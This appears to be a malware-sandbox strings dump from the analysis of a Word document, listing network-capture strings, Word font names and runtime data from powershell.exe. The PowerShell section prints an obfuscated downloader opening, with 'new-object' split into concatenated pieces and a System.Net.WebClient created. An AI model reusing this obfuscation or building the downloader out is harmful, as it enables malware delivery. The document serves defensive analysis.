POST /fwlink/?LinkID=109572&clcid=0x409 HTTP/1.1Connection: Keep-AliveContent-Type: text/xml; charset="UTF-16LE"User-Agent: MICROSOFT_DEVICE_METADATA_RETRIEVAL_CLIENTSOAPAction: "http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata"Content-Length: 2392Host: go.microsoft.comr
Ansi based on PCAP Processing (network.pcap)
public-trust
Ansi based on PCAP Processing (network.pcap)
q*~=E+Dz4
Ansi based on PCAP Processing (network.pcap)
setTimeout(startCountdown(), 0); setTimeout(browserIntegrityCheck(), 0); setTimeout(redirect(), 0); }, false); })(); // </script> </head> <body> <table width="100%" height="100%" cellpadding="20"> <tr> <td align="center" valign="middle"> <div> <noscript> <h1 style="color:#990000;">Please, turn Javascript on in your browser then reload the page.</h1> </noscript> <div id="content" style="display:none"> <div class="sk-circle"> <div class="sk-circle1 sk-child"></div> <div class="sk-circle2 sk-child"></div> <div class="sk-circle3 sk-child"></div> <div class="sk-circle4 sk-child"></div> <div class="sk-circle5 sk-child"></div> <div class="sk-circle6 sk-child"></div> <div class="sk-circle7 sk-child"></div> <div class="sk-circle8 sk-child"></div> <div class="sk-circle9 sk-child"></div> <div class="sk-circle10 sk-child"></div>
Ansi based on PCAP Processing (network.pcap)
SHAppBarMessage
Ansi based on PCAP Processing (network.pcap)
SHELL32.dll
Ansi based on PCAP Processing (network.pcap)
ShellAboutW
Ansi based on PCAP Processing (network.pcap)
SHGetDesktopFolder
Ansi based on PCAP Processing (network.pcap)
SHGetDiskFreeSpaceExA
Ansi based on PCAP Processing (network.pcap)
ShowWindow
Ansi based on PCAP Processing (network.pcap)
Symantec Corporation1
Ansi based on PCAP Processing (network.pcap)
Symantec Trust Network100.
Ansi based on PCAP Processing (network.pcap)
Symantec Trust Network1604
Ansi based on PCAP Processing (network.pcap)
TGV-OFF-680
Ansi based on PCAP Processing (network.pcap)
top: 0;} .sk-circle .sk-child:before {content: '';display: block;margin: 0 auto;width: 15%;height: 15%;background-color: #666666;border-radius: 100%;-webkit-animation: sk-circleBounceDelay 1.2s infinite ease-in-out both;animation: sk-circleBounceDelay 1.2s infinite ease-in-out both;} .sk-circle .sk-circle2 {-webkit-transform: rotate(30deg);-ms-transform: rotate(30deg);transform: rotate(30deg); } .sk-circle .sk-circle3 {-webkit-transform: rotate(60deg);-ms-transform: rotate(60deg);transform: rotate(60deg); } .sk-circle .sk-circle4 {-webkit-transform: rotate(90deg);-ms-transform: rotate(90deg);transform: rotate(90deg); } .sk-circle .sk-circle5 {-webkit-transform: rotate(120deg);-ms-transform: rotate(120deg);transform: rotate(120deg); } .sk-circle .sk-circle6 {-webkit-transform: rotate(150deg);-ms-transform: rotate(150deg);transform: rotate(150deg); } .sk-circle .sk-circle7 {-webkit-transform: rotate(180deg);-ms-transform: rotate(180deg);transform: rotate(180deg); } .sk-circle .sk-circle8 {-webkit-transform: rotate(210deg);-ms-transform: rotate(210deg);transform: rotate(210deg); } .sk-circle .sk-circle9 {-webkit-transform: rotate(240deg);-ms-transform: rotate(240deg);transform: rotate(240deg); } .sk-circle .sk-circle10 {-webkit-transform: rotate(270deg);-ms-transform: rotate(270deg);transform: rotate(270deg); }
Ansi based on PCAP Processing (network.pcap)
USER32.dll
Ansi based on PCAP Processing (network.pcap)
utilitybillingsoftwares
Ansi based on PCAP Processing (network.pcap)
VeriSign Trust Network1:08
Ansi based on PCAP Processing (network.pcap)
VeriSign, Inc.1
Ansi based on PCAP Processing (network.pcap)
w'Oi.M=V*
Ansi based on PCAP Processing (network.pcap)
wwwmicrosoft
Ansi based on PCAP Processing (network.pcap)
$nsadasd =
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &(
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-o
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-ob
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-obj
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-obje
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t')
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') r
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') ra
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') ran
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') rand
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') rando
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$Y
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YY
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU =
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .(
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('n
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-o
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-ob
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-obj
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-obje
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-objec
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object')
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') S
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') Sy
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') Sys
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') Syst
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') Syste
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.N
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Ne
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.W
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.We
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.Web
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebC
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebCl
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebCli
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClie
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClien
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$N
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NS
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB =
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $n
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $ns
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsa
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsad
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsada
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadas
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.n
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.ne
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.nex
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(1
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(100
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(1000
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000,
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 2
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 28
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 282
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 2821
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 28213
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 282133
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 282133)
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 282133);
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 282133);$
Unicode based on Runtime Data (powershell.exe )
ConsoleTracingMask
Unicode based on Runtime Data (powershell.exe )
EnableConsoleTracing
Unicode based on Runtime Data (powershell.exe )
EnableFileTracing
Unicode based on Runtime Data (powershell.exe )
FileTracingMask
Unicode based on Runtime Data (powershell.exe )
LanguageList
Unicode based on Runtime Data (powershell.exe )
MaxFileSize
Unicode based on Runtime Data (powershell.exe )
O������
Ansi based on Runtime Data (powershell.exe )
�d?m�
Unicode based on Runtime Data (powershell.exe )
�d?m���
Unicode based on Runtime Data (powershell.exe )
�����
Ansi based on Runtime Data (powershell.exe )
��������
Ansi based on Runtime Data (powershell.exe )
������������������������
Ansi based on Runtime Data (powershell.exe )
�������������������������������������������������
Ansi based on Runtime Data (powershell.exe )
������������������������������������������������������������������������
Ansi based on Runtime Data (powershell.exe )
%PROGRAMFILES%\Microsoft Office\Office14\wwlib.dll
Unicode based on Runtime Data (WINWORD.EXE )
/�������������?��������������������������������������
Ansi based on Runtime Data (WINWORD.EXE )
?�������������?��������������������������������������
Ansi based on Runtime Data (WINWORD.EXE )
@Arial Unicode MS
Unicode based on Runtime Data (WINWORD.EXE )
@BatangChe
Unicode based on Runtime Data (WINWORD.EXE )
@DFKai-SB
Unicode based on Runtime Data (WINWORD.EXE )
@DotumChe
Unicode based on Runtime Data (WINWORD.EXE )
@FangSong
Unicode based on Runtime Data (WINWORD.EXE )
@GulimChe
Unicode based on Runtime Data (WINWORD.EXE )
@GungsuhChe
Unicode based on Runtime Data (WINWORD.EXE )
@Malgun Gothic
Unicode based on Runtime Data (WINWORD.EXE )
@Meiryo UI
Unicode based on Runtime Data (WINWORD.EXE )
@Microsoft JhengHei
Unicode based on Runtime Data (WINWORD.EXE )
@Microsoft JhengHei UI
Unicode based on Runtime Data (WINWORD.EXE )
@Microsoft YaHei
Unicode based on Runtime Data (WINWORD.EXE )
@Microsoft YaHei UI
Unicode based on Runtime Data (WINWORD.EXE )
@MingLiU-ExtB
Unicode based on Runtime Data (WINWORD.EXE )
@MingLiU_HKSCS
Unicode based on Runtime Data (WINWORD.EXE )
@MingLiU_HKSCS-ExtB
Unicode based on Runtime Data (WINWORD.EXE )
@MS Gothic
Unicode based on Runtime Data (WINWORD.EXE )
@MS Mincho
Unicode based on Runtime Data (WINWORD.EXE )
@MS PGothic
Unicode based on Runtime Data (WINWORD.EXE )
@MS PMincho
Unicode based on Runtime Data (WINWORD.EXE )
@MS UI Gothic
Unicode based on Runtime Data (WINWORD.EXE )
@PMingLiU
Unicode based on Runtime Data (WINWORD.EXE )
@PMingLiU-ExtB
Unicode based on Runtime Data (WINWORD.EXE )
@SimSun-ExtB
Unicode based on Runtime Data (WINWORD.EXE )
_�������������?�������������������������������������
Ansi based on Runtime Data (WINWORD.EXE )
`\??\Volume{e47f4f43-d863-11e7-9d8f-806e6f6e6963}
Unicode based on Runtime Data (WINWORD.EXE )
`\??\Volume{e47f4f44-d863-11e7-9d8f-806e6f6e6963}
Unicode based on Runtime Data (WINWORD.EXE )
Agency FB
Unicode based on Runtime Data (WINWORD.EXE )
AgentAnim
Unicode based on Runtime Data (WINWORD.EXE )
Angsana New
Unicode based on Runtime Data (WINWORD.EXE )
AngsanaUPC
Unicode based on Runtime Data (WINWORD.EXE )
Aparajita
Unicode based on Runtime Data (WINWORD.EXE )
Arabic Typesetting
Unicode based on Runtime Data (WINWORD.EXE )
Arial Black
Unicode based on Runtime Data (WINWORD.EXE )
Arial Narrow
Unicode based on Runtime Data (WINWORD.EXE )
Arial Rounded MT Bold
Unicode based on Runtime Data (WINWORD.EXE )
Arial Unicode MS
Unicode based on Runtime Data (WINWORD.EXE )
Baskerville Old Face
Unicode based on Runtime Data (WINWORD.EXE )
BatangChe
Unicode based on Runtime Data (WINWORD.EXE )
Bauhaus 93
Unicode based on Runtime Data (WINWORD.EXE )
Berlin Sans FB
Unicode based on Runtime Data (WINWORD.EXE )
Berlin Sans FB Demi
Unicode based on Runtime Data (WINWORD.EXE )
Bernard MT Condensed
Unicode based on Runtime Data (WINWORD.EXE )
Blackadder ITC
Unicode based on Runtime Data (WINWORD.EXE )
Bodoni MT
Unicode based on Runtime Data (WINWORD.EXE )
Bodoni MT Black
Unicode based on Runtime Data (WINWORD.EXE )
Bodoni MT Condensed
Unicode based on Runtime Data (WINWORD.EXE )
Bodoni MT Poster Compressed
Unicode based on Runtime Data (WINWORD.EXE )
Book Antiqua
Unicode based on Runtime Data (WINWORD.EXE )
Bookman Old Style
Unicode based on Runtime Data (WINWORD.EXE )
Bookshelf Symbol 7
Unicode based on Runtime Data (WINWORD.EXE )
Bradley Hand ITC
Unicode based on Runtime Data (WINWORD.EXE )
Britannic Bold
Unicode based on Runtime Data (WINWORD.EXE )
Browallia New
Unicode based on Runtime Data (WINWORD.EXE )
BrowalliaUPC
Unicode based on Runtime Data (WINWORD.EXE )
Brush Script MT
Unicode based on Runtime Data (WINWORD.EXE )
C0AC079DA84B4CBD8DBAF1BB44146899
Unicode based on Runtime Data (WINWORD.EXE )
Calibri Light
Unicode based on Runtime Data (WINWORD.EXE )
Californian FB
Unicode based on Runtime Data (WINWORD.EXE )
Calisto MT
Unicode based on Runtime Data (WINWORD.EXE )
Cambria Math
Unicode based on Runtime Data (WINWORD.EXE )
Castellar
Unicode based on Runtime Data (WINWORD.EXE )
Century Gothic
Unicode based on Runtime Data (WINWORD.EXE )
Century Schoolbook
Unicode based on Runtime Data (WINWORD.EXE )
Colonna MT
Unicode based on Runtime Data (WINWORD.EXE )
Comic Sans MS
Unicode based on Runtime Data (WINWORD.EXE )
Constantia
Unicode based on Runtime Data (WINWORD.EXE )
Cooper Black
Unicode based on Runtime Data (WINWORD.EXE )
Copperplate Gothic Bold
Unicode based on Runtime Data (WINWORD.EXE )
Copperplate Gothic Light
Unicode based on Runtime Data (WINWORD.EXE )
Cordia New
Unicode based on Runtime Data (WINWORD.EXE )
CordiaUPC
Unicode based on Runtime Data (WINWORD.EXE )
Courier New
Unicode based on Runtime Data (WINWORD.EXE )
DilleniaUPC
Unicode based on Runtime Data (WINWORD.EXE )
DokChampa
Unicode based on Runtime Data (WINWORD.EXE )
Edwardian Script ITC
Unicode based on Runtime Data (WINWORD.EXE )
Engravers MT
Unicode based on Runtime Data (WINWORD.EXE )
Eras Bold ITC
Unicode based on Runtime Data (WINWORD.EXE )
Eras Demi ITC
Unicode based on Runtime Data (WINWORD.EXE )
Eras Light ITC
Unicode based on Runtime Data (WINWORD.EXE )
Eras Medium ITC
Unicode based on Runtime Data (WINWORD.EXE )
Estrangelo Edessa
Unicode based on Runtime Data (WINWORD.EXE )
EucrosiaUPC
Unicode based on Runtime Data (WINWORD.EXE )
Felix Titling
Unicode based on Runtime Data (WINWORD.EXE )
FontInfoCacheW
Unicode based on Runtime Data (WINWORD.EXE )
Footlight MT Light
Unicode based on Runtime Data (WINWORD.EXE )
Franklin Gothic Book
Unicode based on Runtime Data (WINWORD.EXE )
Franklin Gothic Demi
Unicode based on Runtime Data (WINWORD.EXE )
Franklin Gothic Demi Cond
Unicode based on Runtime Data (WINWORD.EXE )
Franklin Gothic Heavy
Unicode based on Runtime Data (WINWORD.EXE )
Franklin Gothic Medium
Unicode based on Runtime Data (WINWORD.EXE )
Franklin Gothic Medium Cond
Unicode based on Runtime Data (WINWORD.EXE )
FrankRuehl
Unicode based on Runtime Data (WINWORD.EXE )
FreesiaUPC
Unicode based on Runtime Data (WINWORD.EXE )
Freestyle Script
Unicode based on Runtime Data (WINWORD.EXE )
French Script MT
Unicode based on Runtime Data (WINWORD.EXE )
Gill Sans MT
Unicode based on Runtime Data (WINWORD.EXE )
Gill Sans MT Condensed
Unicode based on Runtime Data (WINWORD.EXE )
Gill Sans MT Ext Condensed Bold
Unicode based on Runtime Data (WINWORD.EXE )
Gill Sans Ultra Bold
Unicode based on Runtime Data (WINWORD.EXE )
Gill Sans Ultra Bold Condensed
Unicode based on Runtime Data (WINWORD.EXE )
Gloucester MT Extra Condensed
Unicode based on Runtime Data (WINWORD.EXE )
Goudy Old Style
Unicode based on Runtime Data (WINWORD.EXE )
Goudy Stout
Unicode based on Runtime Data (WINWORD.EXE )
GungsuhChe
Unicode based on Runtime Data (WINWORD.EXE )
Haettenschweiler
Unicode based on Runtime Data (WINWORD.EXE )
Harlow Solid Italic
Unicode based on Runtime Data (WINWORD.EXE )
Harrington
Unicode based on Runtime Data (WINWORD.EXE )
High Tower Text
Unicode based on Runtime Data (WINWORD.EXE )
Imprint MT Shadow
Unicode based on Runtime Data (WINWORD.EXE )
Informal Roman
Unicode based on Runtime Data (WINWORD.EXE )
IntranetName
Unicode based on Runtime Data (WINWORD.EXE )
Iskoola Pota
Unicode based on Runtime Data (WINWORD.EXE )
JasmineUPC
Unicode based on Runtime Data (WINWORD.EXE )
Juice ITC
Unicode based on Runtime Data (WINWORD.EXE )
KodchiangUPC
Unicode based on Runtime Data (WINWORD.EXE )
Kristen ITC
Unicode based on Runtime Data (WINWORD.EXE )
Kunstler Script
Unicode based on Runtime Data (WINWORD.EXE )
LastPurgeTime
Unicode based on Runtime Data (WINWORD.EXE )
Leelawadee
Unicode based on Runtime Data (WINWORD.EXE )
Levenim MT
Unicode based on Runtime Data (WINWORD.EXE )
Lucida Bright
Unicode based on Runtime Data (WINWORD.EXE )
Lucida Calligraphy
Unicode based on Runtime Data (WINWORD.EXE )
Lucida Console
Unicode based on Runtime Data (WINWORD.EXE )
Lucida Fax
Unicode based on Runtime Data (WINWORD.EXE )
Lucida Handwriting
Unicode based on Runtime Data (WINWORD.EXE )
Lucida Sans
Unicode based on Runtime Data (WINWORD.EXE )
Lucida Sans Typewriter
Unicode based on Runtime Data (WINWORD.EXE )
Lucida Sans Unicode
Unicode based on Runtime Data (WINWORD.EXE )
Maiandra GD
Unicode based on Runtime Data (WINWORD.EXE )
Malgun Gothic
Unicode based on Runtime Data (WINWORD.EXE )
Matura MT Script Capitals
Unicode based on Runtime Data (WINWORD.EXE )
Max Display
Unicode based on Runtime Data (WINWORD.EXE )
Meiryo UI
Unicode based on Runtime Data (WINWORD.EXE )
Microsoft Himalaya
Unicode based on Runtime Data (WINWORD.EXE )
Microsoft JhengHei
Unicode based on Runtime Data (WINWORD.EXE )
Microsoft JhengHei UI
Unicode based on Runtime Data (WINWORD.EXE )
Microsoft New Tai Lue
Unicode based on Runtime Data (WINWORD.EXE )
Microsoft PhagsPa
Unicode based on Runtime Data (WINWORD.EXE )
Microsoft Sans Serif
Unicode based on Runtime Data (WINWORD.EXE )
Microsoft Tai Le
Unicode based on Runtime Data (WINWORD.EXE )
Microsoft Uighur
Unicode based on Runtime Data (WINWORD.EXE )
Microsoft Word
Unicode based on Runtime Data (WINWORD.EXE )
Microsoft YaHei
Unicode based on Runtime Data (WINWORD.EXE )
Microsoft YaHei UI
Unicode based on Runtime Data (WINWORD.EXE )
Microsoft Yi Baiti
Unicode based on Runtime Data (WINWORD.EXE )
MingLiU-ExtB
